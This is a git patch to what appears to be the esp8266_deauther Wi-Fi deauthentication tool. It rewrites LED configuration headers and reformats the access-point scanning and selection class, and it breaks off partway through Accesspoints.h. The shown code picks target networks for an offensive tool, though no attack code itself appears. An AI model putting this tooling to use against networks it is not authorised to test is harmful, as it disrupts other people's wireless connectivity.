From 8a0f48bb4b3bd2c48c38634562cab4c0ed50bf49 Mon Sep 17 00:00:00 2001 From: Stefan Kremser Date: Tue, 5 Jun 2018 11:50:38 +0200 Subject: [PATCH] v2.0.6 Rewritten LED classes and simplified config files --- .../A_config.h | 20 +- configs/DSTIKE_Deauther_Boy/A_config.h | 12 +- .../DSTIKE_Deauther_OLED_v1-v1.5/A_config.h | 20 +- configs/DSTIKE_Deauther_OLED_v2-v3/A_config.h | 20 +- .../A_config.h | 24 +- .../A_config.h | 20 +- configs/DSTIKE_USB_Deauther/A_config.h | 20 +- configs/Default/A_config.h | 23 +- esp8266_deauther/A_config.h | 50 +- esp8266_deauther/Accesspoints.cpp | 319 +-- esp8266_deauther/Accesspoints.h | 100 +- esp8266_deauther/AnalogRGBLED.cpp | 44 + esp8266_deauther/AnalogRGBLED.h | 23 + esp8266_deauther/Attack.cpp | 617 ++--- esp8266_deauther/Attack.h | 329 ++- esp8266_deauther/DigitalLed.cpp | 123 +- esp8266_deauther/DigitalLed.h | 56 +- esp8266_deauther/DisplayUI.cpp | 1523 ++++++------ esp8266_deauther/DisplayUI.h | 1090 ++++----- esp8266_deauther/LEDController.cpp | 103 + esp8266_deauther/LEDController.h | 49 + esp8266_deauther/Names.cpp | 633 ++--- esp8266_deauther/Names.h | 152 +- esp8266_deauther/Neopixel.cpp | 119 +- esp8266_deauther/NeopixelLED.h | 21 + esp8266_deauther/SSIDs.cpp | 424 ++-- esp8266_deauther/SSIDs.h | 110 +- esp8266_deauther/Scan.cpp | 614 ++--- esp8266_deauther/Scan.h | 115 +- esp8266_deauther/SerialInterface.cpp | 2109 +++++++++-------- esp8266_deauther/SerialInterface.h | 102 +- esp8266_deauther/Settings.cpp | 806 ++++--- esp8266_deauther/Settings.h | 228 +- esp8266_deauther/SimpleList.h | 651 +++-- esp8266_deauther/Stations.cpp | 403 ++-- esp8266_deauther/Stations.h | 126 +- esp8266_deauther/StatusLED.h | 16 + esp8266_deauther/esp8266_deauther.ino | 244 +- esp8266_deauther/functions.h | 1066 +++++---- esp8266_deauther/language.h | 254 +- esp8266_deauther/wifi.h | 671 +++--- 41 files changed, 6826 insertions(+), 6623 deletions(-) create mode 100644 esp8266_deauther/AnalogRGBLED.cpp create mode 100644 esp8266_deauther/AnalogRGBLED.h create mode 100644 esp8266_deauther/LEDController.cpp create mode 100644 esp8266_deauther/LEDController.h create mode 100644 esp8266_deauther/NeopixelLED.h create mode 100644 esp8266_deauther/StatusLED.h diff --git a/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h b/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h index 8d573b5..a19fc72 100644 --- a/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h +++ b/configs/DSTIKE_D-duino_with_LED_Ring_Shield/A_config.h @@ -23,15 +23,11 @@ Adjust following settings for your type of LED you can ignore the rest of the #define's = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ -// === Settings for Digital LED === // -#define LED_ENABLE_R true -#define LED_ENABLE_G false -#define LED_ENABLE_B true - + // === Settings for Digital LED and RGB LED === // -#define LED_CATHODE false // common ground (GND) +#define LED_ANODE false // common vcc (+) #define LED_PIN_R 16 // NodeMCU on-board LED -#define LED_PIN_G 0 +#define LED_PIN_G 255 // 255 = LED disabled #define LED_PIN_B 2 // ESP-12 LED // === Settings for RGB LED and Neopixel LED === // @@ -42,16 +38,6 @@ #define LED_NEOPIXEL_NUM 12 #define LED_NEOPIXEL_PIN 15 -// Parameter 1 = number of pixels in strip -// Parameter 2 = Arduino pin number (most are valid) -// Parameter 3 = pixel type flags, add together as needed: -// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) -// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) -// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) -// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) -// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) -#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800) - // ===================== DISPLAY CONFIG ==================== // #define USE_DISPLAY true // default display setting diff --git a/configs/DSTIKE_Deauther_Boy/A_config.h b/configs/DSTIKE_Deauther_Boy/A_config.h index 48e2342..61cb78c 100644 --- a/configs/DSTIKE_Deauther_Boy/A_config.h +++ b/configs/DSTIKE_Deauther_Boy/A_config.h @@ -23,15 +23,11 @@ Adjust following settings for your type of LED you can ignore the rest of the #define's = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ -// === Settings for Digital LED === // -#define LED_ENABLE_R true -#define LED_ENABLE_G false -#define LED_ENABLE_B true - + // === Settings for Digital LED and RGB LED === // -#define LED_CATHODE false // common ground (GND) +#define LED_ANODE false // common vcc (+) #define LED_PIN_R 16 // NodeMCU on-board LED -#define LED_PIN_G 0 +#define LED_PIN_G 255 // 255 = LED disabled #define LED_PIN_B 2 // ESP-12 LED // === Settings for RGB LED and Neopixel LED === // @@ -41,8 +37,6 @@ // === Settings for Neopixel LED === // #define LED_NEOPIXEL_NUM 1 #define LED_NEOPIXEL_PIN 15 -// if it doesn't work try changing NEO_GRB to NEO_GRBW -#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800) // ===================== DISPLAY CONFIG ==================== // #define USE_DISPLAY true // default display setting diff --git a/configs/DSTIKE_Deauther_OLED_v1-v1.5/A_config.h b/configs/DSTIKE_Deauther_OLED_v1-v1.5/A_config.h index 20d9669..f598c30 100644 --- a/configs/DSTIKE_Deauther_OLED_v1-v1.5/A_config.h +++ b/configs/DSTIKE_Deauther_OLED_v1-v1.5/A_config.h @@ -23,15 +23,11 @@ Adjust following settings for your type of LED you can ignore the rest of the #define's = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ -// === Settings for Digital LED === // -#define LED_ENABLE_R true -#define LED_ENABLE_G false -#define LED_ENABLE_B true - + // === Settings for Digital LED and RGB LED === // -#define LED_CATHODE false // common ground (GND) +#define LED_ANODE false // common vcc (+) #define LED_PIN_R 16 // NodeMCU on-board LED -#define LED_PIN_G 0 +#define LED_PIN_G 255 // 255 = LED disabled #define LED_PIN_B 2 // ESP-12 LED // === Settings for RGB LED and Neopixel LED === // @@ -42,16 +38,6 @@ #define LED_NEOPIXEL_NUM 1 #define LED_NEOPIXEL_PIN 9 -// Parameter 1 = number of pixels in strip -// Parameter 2 = Arduino pin number (most are valid) -// Parameter 3 = pixel type flags, add together as needed: -// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) -// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) -// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) -// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) -// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) -#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800) - // ===================== DISPLAY CONFIG ==================== // #define USE_DISPLAY true // default display setting diff --git a/configs/DSTIKE_Deauther_OLED_v2-v3/A_config.h b/configs/DSTIKE_Deauther_OLED_v2-v3/A_config.h index 3eb36d2..b633b63 100644 --- a/configs/DSTIKE_Deauther_OLED_v2-v3/A_config.h +++ b/configs/DSTIKE_Deauther_OLED_v2-v3/A_config.h @@ -23,15 +23,11 @@ Adjust following settings for your type of LED you can ignore the rest of the #define's = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ -// === Settings for Digital LED === // -#define LED_ENABLE_R true -#define LED_ENABLE_G false -#define LED_ENABLE_B true - + // === Settings for Digital LED and RGB LED === // -#define LED_CATHODE false // common ground (GND) +#define LED_ANODE false // common vcc (+) #define LED_PIN_R 16 // NodeMCU on-board LED -#define LED_PIN_G 0 +#define LED_PIN_G 255 // 255 = LED disabled #define LED_PIN_B 2 // ESP-12 LED // === Settings for RGB LED and Neopixel LED === // @@ -42,16 +38,6 @@ #define LED_NEOPIXEL_NUM 1 #define LED_NEOPIXEL_PIN 9 -// Parameter 1 = number of pixels in strip -// Parameter 2 = Arduino pin number (most are valid) -// Parameter 3 = pixel type flags, add together as needed: -// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) -// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) -// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) -// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) -// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) -#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800) - // ===================== DISPLAY CONFIG ==================== // #define USE_DISPLAY true // default display setting diff --git a/configs/DSTIKE_Deauther_OLED_v3.5_+_Monster/A_config.h b/configs/DSTIKE_Deauther_OLED_v3.5_+_Monster/A_config.h index 0dddf50..3fba1c6 100644 --- a/configs/DSTIKE_Deauther_OLED_v3.5_+_Monster/A_config.h +++ b/configs/DSTIKE_Deauther_OLED_v3.5_+_Monster/A_config.h @@ -23,16 +23,12 @@ Adjust following settings for your type of LED you can ignore the rest of the #define's = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ -// === Settings for Digital LED === // -#define LED_ENABLE_R true -#define LED_ENABLE_G false -#define LED_ENABLE_B true - + // === Settings for Digital LED and RGB LED === // -#define LED_CATHODE false // common ground (GND) -#define LED_PIN_R 2 // ESP-12 LED -#define LED_PIN_G 0 -#define LED_PIN_B 16 // NodeMCU on-board LED +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED // === Settings for RGB LED and Neopixel LED === // #define LED_MODE_BRIGHTNESS 10 // brightness of LED modes @@ -42,16 +38,6 @@ #define LED_NEOPIXEL_NUM 1 #define LED_NEOPIXEL_PIN 15 -// Parameter 1 = number of pixels in strip -// Parameter 2 = Arduino pin number (most are valid) -// Parameter 3 = pixel type flags, add together as needed: -// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) -// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) -// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) -// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) -// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) -#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800) - // ===================== DISPLAY CONFIG ==================== // #define USE_DISPLAY true // default display setting diff --git a/configs/DSTIKE_Deauther_v3_+_DSTIKE_NodeMCU-07_v2/A_config.h b/configs/DSTIKE_Deauther_v3_+_DSTIKE_NodeMCU-07_v2/A_config.h index d2d4e3d..388dc3e 100644 --- a/configs/DSTIKE_Deauther_v3_+_DSTIKE_NodeMCU-07_v2/A_config.h +++ b/configs/DSTIKE_Deauther_v3_+_DSTIKE_NodeMCU-07_v2/A_config.h @@ -23,15 +23,11 @@ Adjust following settings for your type of LED you can ignore the rest of the #define's = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ -// === Settings for Digital LED === // -#define LED_ENABLE_R true -#define LED_ENABLE_G false -#define LED_ENABLE_B true - + // === Settings for Digital LED and RGB LED === // -#define LED_CATHODE false // common ground (GND) +#define LED_ANODE false // common vcc (+) #define LED_PIN_R 16 // NodeMCU on-board LED -#define LED_PIN_G 0 +#define LED_PIN_G 255 // 255 = LED disabled #define LED_PIN_B 2 // ESP-12 LED // === Settings for RGB LED and Neopixel LED === // @@ -42,16 +38,6 @@ #define LED_NEOPIXEL_NUM 1 #define LED_NEOPIXEL_PIN 15 -// Parameter 1 = number of pixels in strip -// Parameter 2 = Arduino pin number (most are valid) -// Parameter 3 = pixel type flags, add together as needed: -// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) -// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) -// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) -// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) -// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) -#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800) - // ===================== DISPLAY CONFIG ==================== // #define USE_DISPLAY false // default display setting diff --git a/configs/DSTIKE_USB_Deauther/A_config.h b/configs/DSTIKE_USB_Deauther/A_config.h index 6d48d02..0249545 100644 --- a/configs/DSTIKE_USB_Deauther/A_config.h +++ b/configs/DSTIKE_USB_Deauther/A_config.h @@ -23,15 +23,11 @@ Adjust following settings for your type of LED you can ignore the rest of the #define's = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ -// === Settings for Digital LED === // -#define LED_ENABLE_R true -#define LED_ENABLE_G false -#define LED_ENABLE_B true - + // === Settings for Digital LED and RGB LED === // -#define LED_CATHODE false // common ground (GND) +#define LED_ANODE false // common vcc (+) #define LED_PIN_R 16 // NodeMCU on-board LED -#define LED_PIN_G 0 +#define LED_PIN_G 255 // 255 = LED disabled #define LED_PIN_B 2 // ESP-12 LED // === Settings for RGB LED and Neopixel LED === // @@ -42,16 +38,6 @@ #define LED_NEOPIXEL_NUM 1 #define LED_NEOPIXEL_PIN 4 -// Parameter 1 = number of pixels in strip -// Parameter 2 = Arduino pin number (most are valid) -// Parameter 3 = pixel type flags, add together as needed: -// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) -// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) -// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) -// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) -// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) -#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800) - // ===================== DISPLAY CONFIG ==================== // #define USE_DISPLAY false // default display setting diff --git a/configs/Default/A_config.h b/configs/Default/A_config.h index 4898d3f..eee73d9 100644 --- a/configs/Default/A_config.h +++ b/configs/Default/A_config.h @@ -23,15 +23,11 @@ Adjust following settings for your type of LED you can ignore the rest of the #define's = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ -// === Settings for Digital LED === // -#define LED_ENABLE_R true -#define LED_ENABLE_G false -#define LED_ENABLE_B true - + // === Settings for Digital LED and RGB LED === // -#define LED_CATHODE false // common ground (GND) +#define LED_ANODE false // common vcc (+) #define LED_PIN_R 16 // NodeMCU on-board LED -#define LED_PIN_G 0 +#define LED_PIN_G 255 // 255 = LED disabled #define LED_PIN_B 2 // ESP-12 LED // === Settings for RGB LED and Neopixel LED === // @@ -40,18 +36,7 @@ // === Settings for Neopixel LED === // #define LED_NEOPIXEL_NUM 1 -#define LED_NEOPIXEL_PIN 9 - - -// Parameter 1 = number of pixels in strip -// Parameter 2 = Arduino pin number (most are valid) -// Parameter 3 = pixel type flags, add together as needed: -// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) -// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) -// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) -// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) -// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) -#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800) +#define LED_NEOPIXEL_PIN 15 // ===================== DISPLAY CONFIG ==================== // #define USE_DISPLAY false // default display setting diff --git a/esp8266_deauther/A_config.h b/esp8266_deauther/A_config.h index 90484be..38daa30 100644 --- a/esp8266_deauther/A_config.h +++ b/esp8266_deauther/A_config.h @@ -11,46 +11,33 @@ // =========================== // // ===================== LED CONFIG ==================== // + /* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = Uncomment the type of LED you're using Only one of them can be defined at a time! = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ #define DIGITAL_LED -//#define RGB_LED -//#define NEOPIXEL_LED +// #define RGB_LED +// #define NEOPIXEL_LED /* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = Adjust following settings for your type of LED you can ignore the rest of the #define's = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */ -// === Settings for Digital LED === // -#define LED_ENABLE_R true -#define LED_ENABLE_G false -#define LED_ENABLE_B true // === Settings for Digital LED and RGB LED === // -#define LED_CATHODE false // common ground (GND) -#define LED_PIN_R 16 // NodeMCU on-board LED -#define LED_PIN_G 0 -#define LED_PIN_B 2 // ESP-12 LED +#define LED_ANODE false // common vcc (+) +#define LED_PIN_R 16 // NodeMCU on-board LED +#define LED_PIN_G 255 // 255 = LED disabled +#define LED_PIN_B 2 // ESP-12 LED // === Settings for RGB LED and Neopixel LED === // -#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes +#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes #define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second // === Settings for Neopixel LED === // #define LED_NEOPIXEL_NUM 1 -#define LED_NEOPIXEL_PIN 9 - -// Parameter 1 = number of pixels in strip -// Parameter 2 = Arduino pin number (most are valid) -// Parameter 3 = pixel type flags, add together as needed: -// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs) -// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers) -// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products) -// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2) -// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products) -#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800) +#define LED_NEOPIXEL_PIN 15 // ===================== DISPLAY CONFIG ==================== // #define USE_DISPLAY false // default display setting @@ -63,28 +50,27 @@ #define BUTTON_DOWN 12 #define BUTTON_A 13 -//#define BUTTON_LEFT 12 -//#define BUTTON_RIGHT 13 -//#define BUTTON_B 10 +// #define BUTTON_LEFT 12 +// #define BUTTON_RIGHT 13 +// #define BUTTON_B 10 /* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = Uncomment the type of display you're using Only one of them can be defined at a time! = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = -*/ + */ #define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED -//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED +// #define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED /* RST = GPIO 5 (D1) DC = GPIO 4 (D2) CS = GPIO 15 (D8) or GND SCK/SCL = GPIO 14 (D5) SDA/MOSI = GPIO 13 (D7) */ -//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI -//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI +// #define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI +// #define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI -//#define FLIP_DIPLAY // uncomment that to flip the display vertically +// #define FLIP_DIPLAY // uncomment that to flip the display vertically // ========================================================= // -#endif - +#endif // ifndef config_h \ No newline at end of file diff --git a/esp8266_deauther/Accesspoints.cpp b/esp8266_deauther/Accesspoints.cpp index 3cd3d75..7638657 100644 --- a/esp8266_deauther/Accesspoints.cpp +++ b/esp8266_deauther/Accesspoints.cpp @@ -1,262 +1,283 @@ #include "Accesspoints.h" Accesspoints::Accesspoints() { - list = new SimpleList; + list = new SimpleList; } void Accesspoints::sort() { - list->sort([](AP &a, AP &b) -> bool{ - return WiFi.RSSI(a.id) < WiFi.RSSI(b.id); - }); - changed = true; + list->sort([](AP& a, AP& b) -> bool { + return WiFi.RSSI(a.id) < WiFi.RSSI(b.id); + }); + changed = true; } void Accesspoints::sortAfterChannel() { - list->sort([](AP &a, AP &b) -> bool{ - return WiFi.channel(a.id) > WiFi.channel(b.id); - }); - changed = true; + list->sort([](AP& a, AP& b) -> bool { + return WiFi.channel(a.id) > WiFi.channel(b.id); + }); + changed = true; } void Accesspoints::add(uint8_t id, bool selected) { - list->add(AP{id, selected}); - changed = true; + list->add(AP{ id, selected }); + changed = true; } void Accesspoints::printAll() { - prntln(AP_HEADER); - int c = count(); - if (c == 0) - prntln(AP_LIST_EMPTY); - else - for (int i = 0; i < c; i++) - print(i, i == 0, i == c - 1); + prntln(AP_HEADER); + int c = count(); + + if (c == 0) prntln(AP_LIST_EMPTY); + else + for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); } void Accesspoints::printSelected() { - prntln(AP_HEADER); - int max = selected(); - if (selected() == 0) { - prntln(AP_NO_AP_SELECTED); - return; - } - int c = count(); - int j = 0; - for (int i = 0; i < c && j < max; i++) { - if (getSelected(i)) { - print(i, j == 0, j == max - 1); - j++; + prntln(AP_HEADER); + int max = selected(); + + if (selected() == 0) { + prntln(AP_NO_AP_SELECTED); + return; + } + int c = count(); + int j = 0; + + for (int i = 0; i < c && j < max; i++) { + if (getSelected(i)) { + print(i, j == 0, j == max - 1); + j++; + } } - } } void Accesspoints::print(int num) { - print(num, true, true); + print(num, true, true); } void Accesspoints::print(int num, bool header, bool footer) { - if (!check(num)) return; - if (header) { - prntln(AP_TABLE_HEADER); - prntln(AP_TABLE_DIVIDER); - } - prnt(buildString(String(),(String)num, 2)); - prnt(buildString(String(SPACE) + getSSID(num), String(), 33)); - prnt(buildString(String(SPACE) + getNameStr(num), String(), 17)); - prnt(buildString(String(SPACE), (String)getCh(num), 3)); - prnt(buildString(String(SPACE), (String)getRSSI(num), 5)); - prnt(buildString(String(SPACE), getEncStr(num), 5)); - prnt(buildString(String(SPACE) + getMacStr(num), String(), 18)); - prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9)); - prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9)); - - if (footer) { - prntln(AP_TABLE_DIVIDER); - } + if (!check(num)) return; + + if (header) { + prntln(AP_TABLE_HEADER); + prntln(AP_TABLE_DIVIDER); + } + prnt(buildString(String(), (String)num, 2)); + prnt(buildString(String(SPACE) + getSSID(num), String(), 33)); + prnt(buildString(String(SPACE) + getNameStr(num), String(), 17)); + prnt(buildString(String(SPACE), (String)getCh(num), 3)); + prnt(buildString(String(SPACE), (String)getRSSI(num), 5)); + prnt(buildString(String(SPACE), getEncStr(num), 5)); + prnt(buildString(String(SPACE) + getMacStr(num), String(), 18)); + prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9)); + prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9)); + + if (footer) { + prntln(AP_TABLE_DIVIDER); + } } String Accesspoints::getSSID(int num) { - if (!check(num)) return String(); - if (getHidden(num)){ - return str(AP_HIDDEN); - } else { - String ssid = WiFi.SSID(getID(num)); - ssid = ssid.substring(0,32); - ssid = fixUtf8(ssid); - return ssid; - } + if (!check(num)) return String(); + + if (getHidden(num)) { + return str(AP_HIDDEN); + } else { + String ssid = WiFi.SSID(getID(num)); + ssid = ssid.substring(0, 32); + ssid = fixUtf8(ssid); + return ssid; + } } String Accesspoints::getNameStr(int num) { - if (!check(num)) return String(); - return names.find(getMac(num)); + if (!check(num)) return String(); + + return names.find(getMac(num)); } uint8_t Accesspoints::getCh(int num) { - if (!check(num)) return 0; - return WiFi.channel(getID(num)); + if (!check(num)) return 0; + + return WiFi.channel(getID(num)); } int Accesspoints::getRSSI(int num) { - if (!check(num)) return 0; - return WiFi.RSSI(getID(num)); + if (!check(num)) return 0; + + return WiFi.RSSI(getID(num)); } uint8_t Accesspoints::getEnc(int num) { - if (!check(num)) return 0; - return WiFi.encryptionType(getID(num)); + if (!check(num)) return 0; + + return WiFi.encryptionType(getID(num)); } String Accesspoints::getEncStr(int num) { - if (!check(num)) return String(); - switch (getEnc(num)) { + if (!check(num)) return String(); + + switch (getEnc(num)) { case ENC_TYPE_NONE: - return String(DASH); - break; + return String(DASH); + + break; + case ENC_TYPE_WEP: - return str(AP_WEP); - break; + return str(AP_WEP); + + break; + case ENC_TYPE_TKIP: - return str(AP_WPA); - break; + return str(AP_WPA); + + break; + case ENC_TYPE_CCMP: - return str(AP_WPA2); - break; + return str(AP_WPA2); + + break; + case ENC_TYPE_AUTO: - return str(AP_AUTO); - break; - } - return String(QUESTIONMARK); + return str(AP_AUTO); + + break; + } + return String(QUESTIONMARK); } String Accesspoints::getSelectedStr(int num) { - return b2a(getSelected(num)); + return b2a(getSelected(num)); } uint8_t* Accesspoints::getMac(int num) { - if (!check(num)) return 0; - return WiFi.BSSID(getID(num)); + if (!check(num)) return 0; + + return WiFi.BSSID(getID(num)); } String Accesspoints::getMacStr(int num) { - if (!check(num)) return String(); - uint8_t* mac = getMac(num); - return bytesToStr(mac, 6); + if (!check(num)) return String(); + + uint8_t* mac = getMac(num); + return bytesToStr(mac, 6); } String Accesspoints::getVendorStr(int num) { - if (!check(num)) return String(); - return searchVendor(getMac(num)); + if (!check(num)) return String(); + + return searchVendor(getMac(num)); } bool Accesspoints::getHidden(int num) { - if (!check(num)) return false; - return WiFi.isHidden(getID(num)); + if (!check(num)) return false; + + return WiFi.isHidden(getID(num)); } bool Accesspoints::getSelected(int num) { - if (!check(num)) return false; - return list->get(num).selected; + if (!check(num)) return false; + + return list->get(num).selected; } -uint8_t Accesspoints::getID(int num){ - if (!check(num)) return -1; - return list->get(num).id; +uint8_t Accesspoints::getID(int num) { + if (!check(num)) return -1; + + return list->get(num).id; } void Accesspoints::select(int num) { - if (!check(num)) return; + if (!check(num)) return; - internal_select(num); - - prnt(AP_SELECTED); - prntln(getSSID(num)); - - changed = true; + internal_select(num); + + prnt(AP_SELECTED); + prntln(getSSID(num)); + + changed = true; } void Accesspoints::deselect(int num) { - if (!check(num)) return; + if (!check(num)) return; - internal_deselect(num); - - prnt(AP_DESELECTED); - prntln(getSSID(num)); + internal_deselect(num); - changed = true; + prnt(AP_DESELECTED); + prntln(getSSID(num)); + + changed = true; } void Accesspoints::remove(int num) { - if (!check(num)) return; - - prnt(AP_REMOVED); - prntln(getSSID(num)); + if (!check(num)) return; - internal_remove(num); - - changed = true; + prnt(AP_REMOVED); + prntln(getSSID(num)); + + internal_remove(num); + + changed = true; } void Accesspoints::selectAll() { - for(int i=0;ireplace(i,AP{list->get(i).id,true}); - prntln(AP_SELECTED_ALL); - changed = true; + for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true }); + prntln(AP_SELECTED_ALL); + changed = true; } void Accesspoints::deselectAll() { - for(int i=0;ireplace(i,AP{list->get(i).id,false}); - prntln(AP_DESELECTED_ALL); - changed = true; + for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false }); + prntln(AP_DESELECTED_ALL); + changed = true; } void Accesspoints::removeAll() { - while(count() > 0) - internal_remove(0); - prntln(AP_REMOVED_ALL); - changed = true; + while (count() > 0) internal_remove(0); + prntln(AP_REMOVED_ALL); + changed = true; } -int Accesspoints::find(uint8_t id){ - int s = list->size(); - for(int i=0;iget(i).id == id) - return i; - } - return -1; +int Accesspoints::find(uint8_t id) { + int s = list->size(); + + for (int i = 0; i < s; i++) { + if (list->get(i).id == id) return i; + } + return -1; } int Accesspoints::count() { - return list->size(); + return list->size(); } int Accesspoints::selected() { - return list->count([](AP &a)->bool{ - return a.selected; - }); + int c = 0; + + for (int i = 0; i < list->size(); i++) c += list->get(i).selected; + return c; } bool Accesspoints::check(int num) { - if (internal_check(num)) return true; - prnt(AP_NO_AP_ERROR); - prntln((String)num); - return false; + if (internal_check(num)) return true; + + prnt(AP_NO_AP_ERROR); + prntln((String)num); + return false; } bool Accesspoints::internal_check(int num) { - return num >= 0 && num < count(); + return num >= 0 && num < count(); } void Accesspoints::internal_select(int num) { - list->replace(num,AP{list->get(num).id,true}); + list->replace(num, AP{ list->get(num).id, true }); } void Accesspoints::internal_deselect(int num) { - list->replace(num,AP{list->get(num).id,false}); + list->replace(num, AP{ list->get(num).id, false }); } void Accesspoints::internal_remove(int num) { - list->remove(num); -} - + list->remove(num); +} \ No newline at end of file diff --git a/esp8266_deauther/Accesspoints.h b/esp8266_deauther/Accesspoints.h index 9b27a84..9eb4093 100644 --- a/esp8266_deauther/Accesspoints.h +++ b/esp8266_deauther/Accesspoints.h @@ -17,62 +17,60 @@ extern String buildString(String left, String right, int maxLen); extern String fixUtf8(String str); extern String bytesToStr(uint8_t* b, uint32_t size); -struct AP{ - uint8_t id; - bool selected; +struct AP { + uint8_t id; + bool selected; }; class Accesspoints { - public: - Accesspoints(); - - void sort(); - void sortAfterChannel(); - - void add(uint8_t id, 